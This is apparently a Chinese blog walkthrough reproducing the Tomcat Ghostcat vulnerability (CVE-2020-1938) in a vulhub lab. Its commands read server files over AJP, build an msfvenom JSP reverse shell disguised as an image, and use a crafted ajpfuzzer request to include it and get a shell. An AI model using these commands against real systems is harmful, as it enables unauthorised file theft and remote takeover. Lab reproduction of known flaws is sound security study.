【CVE-2020-1938】Ghostcat 漏洞复现

0x00 漏洞概述

Java 是目前 Web 开发中主流的编程语言,而 Tomcat 是当前流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。

Ghostcat 是由长亭发现的存在于 Tomcat 中的漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

0x01 影响范围

Tomcat 9.x < 9.0.31
Tomcat 8.x < 8.5.51
Tomcat 7.x < 7.0.100
Tomcat 6.x

0x02 环境搭建(vulhub)

0x03 漏洞检测

8009端口开放ajp协议

# 获取poc
$ wget https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/archive/refs/heads/master.zip 
# 解压
$ unzip master.zip
# 执行poc
$ python CNVD-2020-10487-Tomcat-Ajp-lfi.py 43.xx.xx.37 -p 8009 -f WEB-INF/web.xml

成功读取到了服务器的/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml文件

0x04 漏洞利用

安装msf

$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall 
$ chmod 755 msfinstall 
$ ./msfinstall

使用msf生成反弹shell的jsp马,因为是文件包含漏洞,所以文件类型不用管

$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=[ip] LPORT=[port] R >ma.png

然后模仿网站的文件上传功能,把马放到网站目录里去

 $ docker cp ma.png 1cf744b0f648:/usr/local/tomcat/webapps/ROOT/WEB-INF/

开启msf的监听

$ msfconsole # 进入msf
$ use exploit/multi/handler
$ show options
$ set payload java/jsp_shell_reverse_tcp
$ set lhost x.x.x.x
$ set lport x
$ exploit

然后又用刚才的脚本读取了一波服务器下存在的ma.png文件

发现读取成功了,但是msf那边却没有反应,难道是脚本的问题?只进行了文件读取,而不是文件包含吗。尝试变换思路,下载AJP包构造器ajpfuzzer

$ wget https://github.com/doyensec/ajpfuzzer/releases/download/v0.6/ajpfuzzer_v0.6.jar

ok 下好了之后运行

$ java -jar ajpfuzzer_v0.6.jar

连接目标端口

$ connect [ip] [port]

构造发送AJP包的命令,[ip] [port] 为目标机器的ip和端口号,/WEB-INF/ma.png为上传的木马路径,11.jsp 可换做 *.jsp,任意网站目录下不存在的jsp文件,这样tomcat才会去调用DefaultServlet

$ forwardrequest 2 "HTTP/1.1" "/11.jsp" [ip] [ip] porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:11.jsp","javax.servlet.include.path_info:/WEB-INF/ma.png","javax.servlet.include.servlet_path:/"

发送ajp请求后,ma.png文件被tomcat作为jsp文件解析,成功getshell

0x05 参考

https://www.chaitin.cn/zh/ghostcat

https://mp.weixin.qq.com/s?__biz=MzUyNDk0MDQ3OQ==&mid=2247485009&idx=1&sn=5f619c27ec994949f5fa69d41d2dee05&chksm=fa24e381cd536a972db2cc5a5fc09be33a7833f1caa6440bb5979d3d7ea052384645fbd2b62c&mpshare=1&scene=23&srcid=&sharer_sharetime=1584439554350&sharer_shareid=1f92b9e8670fffeb7eea157894e3536a#rd

你可能感兴趣的:(【CVE-2020-1938】Ghostcat 漏洞复现)